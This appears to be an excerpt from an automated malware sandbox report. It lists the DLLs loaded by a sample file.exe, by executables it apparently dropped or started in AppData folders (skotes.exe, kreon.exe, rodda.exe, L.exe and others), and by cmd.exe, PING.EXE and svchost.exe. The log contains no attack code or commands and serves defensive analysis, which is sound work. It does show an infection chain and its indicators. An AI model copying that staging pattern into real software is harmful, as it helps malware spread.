Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: edgegdi.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
